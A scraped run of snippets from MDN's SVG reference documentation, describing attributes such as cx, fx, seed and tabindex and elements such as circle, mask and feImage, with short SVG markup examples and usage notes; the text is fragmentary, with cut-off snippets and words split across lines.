viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cx="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cx="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" st...
cy - SVG: Scalable Vector Graphics
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg
viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg
viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cy="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cy="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" st...
data-* - SVG: Scalable Vector Graphics
their custom data are available
via the svgelement interface of the element the attributes belong to, with the svgelement.dataset property.
... the svgelement.dataset property is a domstringmap that pro
vides the attribute data-test-value
via svgelement.dataset.testvalue.
display - SVG: Scalable Vector Graphics
when applied to a container element, setting display to none causes the container and all of its children to be in
visible; thus, it acts on groups of elements as a group.
... html, body, svg { height: 100%; } <svg
viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- here the yellow rectangle is displayed --> <rect x="0" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="20" y="20" width="60" height="60" fill="yellow"></rect> <!-- here the yellow rectangle is not displayed --> <rect x="120" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="140" y="20" width="60" ...
elevation - SVG: Scalable Vector Graphics
note that the positive z-axis points towards the
viewer of the content.
... only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter ef...
font-size - SVG: Scalable Vector Graphics
the font-size attribute refers to the size of the font from baseline to baseline when multiple lines of text are set solid in a multiline layout en
vironment.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-size="smaller">smaller</text> <text x="100" y="20" font-size="2em">2em</text> </svg> usage notes value <absolute-size> | <relative-size> | <length-percentage> default value medium animatable yes for a description of the values, please refer to the css font-size property.
fr - SVG: Scalable Vector Graphics
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" ...
...fill="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value 0 animatable none example <svg
viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60"...
from - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
... when a list of values is defined
via the values attribute, the from attribute is ignored.
fx - SVG: Scalable Vector Graphics
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" ...
... animatable none example <svg
viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke...
fy - SVG: Scalable Vector Graphics
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" ...
... animatable none example <svg
viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke...
gradientTransform - SVG: Scalable Vector Graphics
this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any pre
viously defined transformations, including the implicit transformation necessary to convert from object bounding box units to user space.
... two elements are using this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100" gradienttransform="skewx(20) translate(-35, 0)"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <rect ...
id - SVG: Scalable Vector Graphics
<svg width="120" height="120"
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![cdata[ #smallrect { stroke: #000066; fill: #00cc00; } ]]> </style> <rect id="smallrect" x="10" y="10" width="100" height="100" /> </svg> usage notes value <id> default value none animatable no <id> specifies the element's id.
... note: you should avoid the use of id values that would be parsed as an svg
view specification (e.g., mydrawing.svg#svg
view(
viewbox(0,200,1000,1000))) or a basic media fragment when used as a url target fragment.
image-rendering - SVG: Scalable Vector Graphics
the image-rendering attribute pro
vides a hint to the browser about how to make speed vs.
... the resampling is always done in a truecolor (e.g., 24-bit) color space even if the original data and/or the target de
vice is indexed color.
markerHeight - SVG: Scalable Vector Graphics
the markerheight attribute represents the height of the
viewport into which the <marker> is to be fitted when it is rendered according to the
viewbox and preserveaspectratio attributes.
... relative values refer to the height specified
via the
viewbox and preserveaspectratio attributes.
markerWidth - SVG: Scalable Vector Graphics
the markerwidth attribute represents the width of the
viewport into which the <marker> is to be fitted when it is rendered according to the
viewbox and preserveaspectratio attributes.
... relative values refer to the width specified
via the
viewbox and preserveaspectratio attributes.
maskContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskcontentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskcontentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" />...
...a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1"
viewbox.
maskUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskunits="userspaceonuse" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskunits="objectboundingbox" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" ...
...a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1"
viewbox.
numOctaves - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> ...
... example <svg width="200" height="200"
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status c...
patternUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- all geometry properties are relative to the current user space --> <pattern id="p1" x="12.5" y="12.5" width="25" height="25" patternunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="...
...a bounding box could be considered the same as if the content of the <mask> were bound to a "0 0 1 1"
viewbox.
pointsAtZ - SVG: Scalable Vector Graphics
the pointsatz attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing, assuming that, in the initial local coordinate system, the positive z-axis comes out towards the person
viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
... only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="80" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes defa...
radius - SVG: Scalable Vector Graphics
if two numbers are pro
vided, the first number represents the x-radius and the second one the y-radius.
... if one number is pro
vided, then that value is used for both x and y.
result - SVG: Scalable Vector Graphics
if no value is pro
vided, the output will only be available for re-use as the implicit input into the next filter primitive if that filter primitive pro
vides no value for its in attribute.
... seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> usage not...
rx - SVG: Scalable Vector Graphics
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg
viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" rx="0" ry="25" /> <ellipse cx="150" cy="50" rx="25" ry="25" /> <ellipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape.
... the way the value of the rx attribute is interpreted depend on both the ry attribute and the width of the rectangle: if a properly specified value is pro
vided for rx but not for ry (or the opposite), then the browser will consider the missing value equal to the defined one.
ry - SVG: Scalable Vector Graphics
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg
viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" ry="0" rx="25" /> <ellipse cx="150" cy="50" ry="25" rx="25" /> <ellipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape.
... the way the value of the ry attribute is interpreted depend on both the rx attribute and the width of the rectangle: if a properly specified value is pro
vided for ry but not for rx (or the opposite), then the browser will consider the missing value equal to the defined one.
seed - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default val...
...ue 0 animatable yes example <svg width="200" height="200"
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
tabindex - SVG: Scalable Vector Graphics
the tabindex attribute allows you to control whether an element is focusable and to define the relative order of the element for the purposes of sequential focus na
vigation.
... html, body, svg { height: 100%; } <?xml version="1.0"?> <svg
viewbox="0 0 260 260" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="60" r="15" tabindex="1" /> <circle cx="60" cy="160" r="30" tabindex="3" /> <circle cx="160" cy="60" r="30" tabindex="2" /> <circle cx="160" cy="160" r="60" tabindex="4" /> </svg> usage notes value valid integer default value none animatable no valid integer relative order of the element for the purposes of sequential focus na
vigation.
target - SVG: Scalable Vector Graphics
the target attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is
viewed with a tabbed browser.
... this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg
viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> ...
to - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
... if a list of values is defined
via the values attribute, the to attribute is ignored.
version - SVG: Scalable Vector Graphics
it is purely ad
visory and has no influence on rendering or processing.
... <svg version="1.1"
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="80" height="80"/> </svg> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'version' in that specification.
writing-mode - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwriting-modechrome ?
... web
view android ?
z - SVG: Scalable Vector Graphics
the z attribute defines the location along the z-axis for a light source in the coordinate system established by the primitiveunits attribute on the <filter> element, assuming that, in the initial coordinate system, the positive z-axis comes out towards the person
viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
... two elements are using this attribute: <fepointlight> and <fespotlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="50" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> fepointlight ...
<circle> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="50"/> </svg> attributes cx the x-axis coordinate of the center of the circle.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<ellipse> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<feDropShadow> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="shadow"> <fedropshadow dx="0.2" dy="0.4" stdde
viation="0.2"/> </filter> <filter id="shadow2"> <fedropshadow dx="0" dy="0" stdde
viation="0.5" flood-color="cyan"/> </filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stdde
viation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#...
... value type: <number>; default value: 2; animatable: yes stdde
viation this attribute defines the standard de
viation for the blur operation in the drop shadow.
<feImage> - SVG: Scalable Vector Graphics
the <feimage> svg filter primitive fetches image data from an external source and pro
vides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
... example svg <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feimage>' in that specification.
<feMerge> - SVG: Scalable Vector Graphics
this is achieved by other filters storing their output
via the result attribute and then accessing it in a <femergenode> child.
... usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stdde
viation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> </svg> result attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes none dom interface ...
<feSpecularLighting> - SVG: Scalable Vector Graphics
the filter primitive assumes that the
viewer is at infinity in the z direction.
... example <svg height="200" width="200"
viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id = "filter"> <fespecularlighting result="specout" specularexponent="20" lighting-color="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circle cx="110" cy="110...
<foreignObject> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipisci...
..., document element event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<line> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be
visible --> </svg> attributes x1 defines the x-axis coordinate of the line starting point.
...ributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility aria attributes aria-activedescendant, aria-atomic, aria-autocomplete, aria-busy, aria-checked, aria-colcount, aria-colindex, aria-colspan, aria-controls, aria-current, aria-describedby, aria-details, aria-disabled, aria-dropeffect, aria-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-...
<mask> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="-10 -10 120 120"> <mask id="mymask"> <!-- everything under a white pixel will be
visible --> <rect x="0" y="0" width="100" height="100" fill="white" /> <!-- everything under a black pixel will be in
visible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg> attributes height this attribute defines the heigh...
...class, style conditional processing attributes most notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect,
visibility usage notes categoriescontainer elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <
view> spe...
<mpath> - SVG: Scalable Vector Graphics
the <mpath> sub-element for the <animatemotion> element pro
vides the ability to reference an external <path> element as the definition of a motion path.
... example svg <svg width="100%" height="100%"
viewbox="0 0 500 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <rect x="1" y="1" width="498" height="298" fill="none" stroke="blue" stroke-width="2" /> <!-- draw the outline of the motion path in blue, along with three small circles at the start, middle and end.
<path> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d this attribute defines the shape of the path.
